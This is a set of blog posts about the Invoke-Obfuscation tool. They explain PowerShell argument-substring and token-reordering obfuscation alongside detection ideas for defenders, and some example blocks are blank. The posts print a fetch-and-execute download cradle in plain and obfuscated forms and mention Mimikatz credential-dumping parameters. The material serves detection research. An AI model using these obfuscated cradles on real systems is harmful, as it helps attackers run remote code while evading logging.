To help break this complacency I focused on this execution argument obfuscation when I built the LAUNCHER component of Invoke-Obfuscation. The primary focus was initially on argument substring and shorthand syntax, randomized case, argument ordering and randomized whitespace between the arguments. So instead of always producing something like

-nop -win hidden -noni

then it may produce something more like

-wINd   hIdDEn   -nOniNT -NOpr
-noProf  -wI  hiDdeN  -noNIntEr

These execution argument substrings (like -NoP, -NoPr, -NoPro, -NoProf, -NoProfi, and -NoProfil) are all valid ways of specifying an execution argument (like -NoProfile) because of how PowerShell handles parameter binding. And this parameter binding functionality extends beyond execution arguments. For example, the default Invoke-Mimikatz parameters of -DumpCreds and -DumpCerts could actually be written instead as -DumpCr, -DumpCre, -DumpCred or -DumpCe, -DumpCer, -DumpCert. So we as defenders should be diligent to base our detection logic on the lowest common denominator of what we currently know to be syntactically possible.

In October, 2016, I discovered by accident that the -WindowStyle execution argument would accept numerical representation of its flag values: Normal (0), Hidden (1), Minimized (2) and Maximized (3). After this realization I updated my detection rules and then added this alternate syntax to the next release of Invoke-Obfuscation (though this technique does not seem to extend to -ExecutionPolicy values of Bypass, Unrestricted, etc.).

Then last week I read this great blog post called Pulling Back the Curtains on EncodedCommand PowerShell Attacks by the Unit42 threat research team (@Unit42_Intel) at Palo Alto Networks. If you haven't read this article article then it is well worth a read, retweet and then one more read. In addition, the Unit42 team published all of the data from their research including the full encoded commands, decoded version, extracted execution arguments, etc. Kudos to the Unit42 team for making this research and data available to the community!

Now when I read this blog post something caught my eye in one of their tables showing a breakdown of the -WindowStyle Hidden syntax across all of the samples in their research (highlighting is mine):

This table was the first time that I had seen the argument of an execution argument using substring obfuscation. After testing and validating that this syntax works, I then updated my detection rules and subsequently updated Invoke-Obfuscation to randomly select any of WindowStyle's arguments' substrings (like the numerical representation, this technique still does not extend to ExecutionPolicy's arguments). So now in Invoke-Obfuscation if you select the WindowStyle Hidden execution argument/value pair then you will get randomized substrings for both WindowStyle as well as Hidden (H, Hi, Hid, Hidd, Hidde, Hidden, 1).


Until this past week I focused on keeping track of all known execution argument syntaxes so that I could trigger on particular combinations of execution arguments. However, I realized that there was a simpler (and arguably more effective) detection use case to be made for these obfuscated execution argument substrings: these execution argument substrings are almost never used legitimately and as such they can be a great indicator of potential obfuscation.

So for example, -NoProfile and its shortest form of -NoP are most commonly used in PowerShell commands (for both legitimate and malicious samples). However, just looking for the presence of any of the more obscure, but still valid, substrings in between (-NoPr, -NoPro, -NoProf, -NoProfi and -NoProfil) would be peculiar enough to warrant closer inspection. This definitely does not mean that we should not continuing monitoring for the more common -NoP and -NoProfile, but it would seem that we could place more emphasis on these in-between substrings for identifying likely obfuscation attempts.

We can do the same for certain execution arguments' arguments, like WindowStyle's Hidden (H, Hi, Hid, Hidd, Hidde and 1). And in the case of arguments that take arguments (like WindowStyle and ExecutionPolicy) we can take the path of humility and accept that there are probably smarter and more cunning people that have potentially found more ways to write Hidden and Bypass (or even Unrestricted). With this approach we can look for the absence of all of the syntaxes that we are familiar with. So if we see WindowStyle (with any of its substring syntaxes) and do NOT see any of the normal or obfuscated values that we are currenty aware of then we might want to alert and look more closely at the syntax being used. A rough example of this for WindowStyle could be a case insensitive regex like:


If you have experimented with some of the newer LAUNCHER options (Hint: WMIC) from Invoke-Obfuscation then you may see that there are ways to evade the regex above, particularly when you can use characters allowed in a parent process launching powershell.exe to pollute powershell.exe's command line arguments. But the purpose of this sample regex is not to catch everything, but rather to identify a subset of likely obfuscation.

Defense in depth is still the name of the game here. After all, I wouldn't want any defender to take a detection idea (even from me!) and become complacent with it :D Thus the perpetual game of refining, testing and sharing creative detection techniques continues.

Happy hunting!

Invoke-Obfuscation v1.1 (coming Sunday, Oct 9)

Although an official PowerShell obfuscation blog post is still underway, I have some incremental updates to Invoke-Obfuscation that I want to share with you all before releasing them in Invoke-Obfuscation v1.1 on Sunday, October 9, 2016, at SANS DFIR Prague (https://www.sans.org/event/dfir-prague-2016/summit-overview/). Just like the focus of the Invoke-Obfuscation framework as a whole, these updates are not meant to be cruel tricks for the Blue Team to deal with. Rather, the new techniques in this update are designed to show that simply removing special characters from PowerShell Scriptblock logs before searching for IOCs (Indicators of Compromise) in the resultant Scriptblock log is not a silver bullet in detecting PowerShell obfuscation.

Let's look at two brief examples that illustrate this point. The base command for this test is using the most common remote download cradle syntax:

Invoke-Expression (New-Object Net.WebClient).DownloadString('http://bit.ly/L3g1t')

The following command was generated with Invoke-Obfuscation v1.0 with options TOKEN/ALL/1 to obfuscate all tokens in random order at the maximum obfuscation level:

&( "I"+ "nv" +"OK"+"e-EXPreSsIon" ) (&( "new-O"+ "BJ"+"Ect") ('Net' +'.We'+'bClient' ) ).( 'dOWnlO' +'aDS'+'TrinG').Invoke( ('http://bi'+'t.ly/'+'L3' +'g1t' ))
This is how the above Invoke-Obfuscation v1.0 command appears in Scriptblock logs.

This is how the above Invoke-Obfuscation v1.0 command appears in Scriptblock logs.

So if we are dealing with the above command (either in command line argument logs or better yet in Scriptblock logs) then removing all special characters and whitespace will, for example, change the beginning cmdlet from  &( "I"  + "nv" +"OK"  +"e-EXPreSsIon" ) to InvOKe-EXPreSsIon. Or if tick obfuscation was used then this transformation would convert Ne`W-`ObJEc`T to NeW-ObJEcT. This is a pretty simple way of revealing the underlying cmdlet values to which we can then apply our IOCs.

Below is a basic code snippet that accomplishes this task:

$ScriptblockContents = @"
&( "I"+ "nv" +"OK"+"e-EXPreSsIon" ) (&( "new-O"+ "BJ"+"Ect") ('Net' +'.We'+'bClient' ) ).( 'dOWnlO' +'aDS'+'TrinG').Invoke( ('http://bi'+'t.ly/'+'L3' +'g1t' ))
$ScriptblockContents.Replace('"','').Replace("'",'').Replace('+','').Replace(' ','').Replace('`','').Replace(',','')

The resultant de-obfuscated command from above is now:


However, there is a sneakier way to bypass this find-and-replace detection approach and I've added it to Invoke-Obfuscation v1.1 to help us Blue Teamers deepen our detection approach from what may currently be working for v1.0. This new technique is Reordering obfuscation applied at the token level.

New "Reorder" option available in Invoke-Obfuscation v1.1.

New "Reorder" option available in Invoke-Obfuscation v1.1.

This reordering obfuscation option will be available for Command, (Command) Argument, String and Member tokens. (It will also be available for one more NEW token type that I'll be releasing in 1.5 weeks -- more details in the next blog post!)

The reordering operator is the -f format operator and it works similarly to v1.0's STRING/REORDER function except it is applied to individual tokens instead of the entire PowerShell command or script.

The following command was generated with Invoke-Obfuscation v1.1 with options TOKEN/ALL/1 to obfuscate all tokens in random order at the maximum obfuscation level (which is now reordering for most token types):

&("{0}{2}{3}{1}{4}"-f 'In','e','voke-Exp','r','ssion') (&( "{2}{0}{1}"-f'w-Obje','ct','Ne') ( "{0}{1}{2}{3}"-f 'N','et.','Web','Client') ).("{0}{3}{1}{2}{4}"-f'Downl','ad','S','o','tring' ).Invoke(( 'http' + ':'+'/'+'/bi' +'t.ly'+'/L3g1t' ))
This is how the above Invoke-Obfuscation v1.1 command appears in Scriptblock logs.

This is how the above Invoke-Obfuscation v1.1 command appears in Scriptblock logs.

The resultant de-obfuscated command (using same find-and-replace method above) from above is now:


So the "de-obuscated" Scriptblock contents only give us Inevoke-Exprssion and w-ObjectNe to use for trying to identify Invoke-Expression and New-Object. The order of these -f format operator reordering operations are randomized, so sometimes you will still find the full properly-ordered string (like Net.WebClient), but the point is that you can no longer rely on this being the case.

Three detection approaches that we can take here:

  1. In Scriptblock logs (EID 4104) look for usage of the -f format operator, though there are definitely other means to accomplish this same obfuscation outcome without the -f format operator so this is also not a silver bullet detection approach. False Positives to watch out for are -f for -File and -f for -ForegroundColor. Additionally, keep in mind that the -f format operator does NOT require whitespace on either side, so a bit of regex wizardry will go a long way when monitoring for this operator.
  2. In Module logs (EID 4103) look for the CommandInvocation and ParameterBinding of Invoke-Expression and New-Object as well as the arguments that each cmdlet is passed. This shows the plaintext values regardless of if it is reordered or otherwise obfuscated in Scriptblock logs. However, it becomes much more difficult if your indicators rely on the combination of multiple cmdlets (like IEX/Invoke-Expression AND New-Object) since this information is now spread across multiple events in Module logs.
  3. One more interesting observation is that the Scriptblock log events for both of the above samples have a Level value of Warning instead of the regular value of Informational -- perhaps something to begin monitoring. However, there are still obfuscation techniques that generate Information level logs instead of Warning level logs. Once again we are reminded to not place all of our defensive eggs into a single detection basket.

So at the end of the day, PowerShell logging give us Warning level Scriptblock log events and the obfuscated cmdlets are still found in the Module logs. All of the answers are present but are not located in any single event. But just imagine how much more difficult detecting this would be without the fantastic logging that the PowerShell team has given us -- Thanks PS Team!!


This Sunday, October 9, 2016, I will be releasing these token reordering obfuscation techniques in Invoke-Obfuscation v1.1 at SANS DFIR Prague (https://www.sans.org/event/dfir-prague-2016/summit-overview/) as a component of my presentation on PowerShell obfuscation techniques. During this presentation I will focus on additional artifacts (outside of PowerShell logs and command line arguments) to aid the Blue Team in detecting these obfuscation techniques.

The latest version of Invoke-Obfuscation can always be downloaded from my Github repository: https://github.com/danielbohannon/Invoke-Obfuscation

Blue Team: Please Upgrade To PS 5.0
Red Team:  Please Obfuscate Responsibly :)

Invoke-Obfuscation :: Public Release

After 100's of hours of researching PowerShell obfuscation techniques this past year and more than 300 hours of developing over the past two months, I am excited to present the first phase of this research at DerbyCon 6.0 on Sunday, September 25, 2016. During this presentation I am publicly releasing Invoke-Obfuscation, an obfuscator for PowerShell commands and scripts that is designed to randomized nearly every aspect of obfuscation that I have discovered throughout my research.

This tool can be downloaded from my Github repository: https://github.com/danielbohannon/Invoke-Obfuscation

In the coming months I plan on posting a more formal blog outlining this first phase of research that I am presenting at DerbyCon.

UPDATE (September 26, 2016): The recording of the presentation from DerbyCon 6.0 is now available on YouTube: https://www.youtube.com/watch?v=P1lkflnWb0I
Slides from the DerbyCon 6.0 presentation are also available at: http://www.slideshare.net/DanielBohannon2/invokeobfuscation-derbycon-2016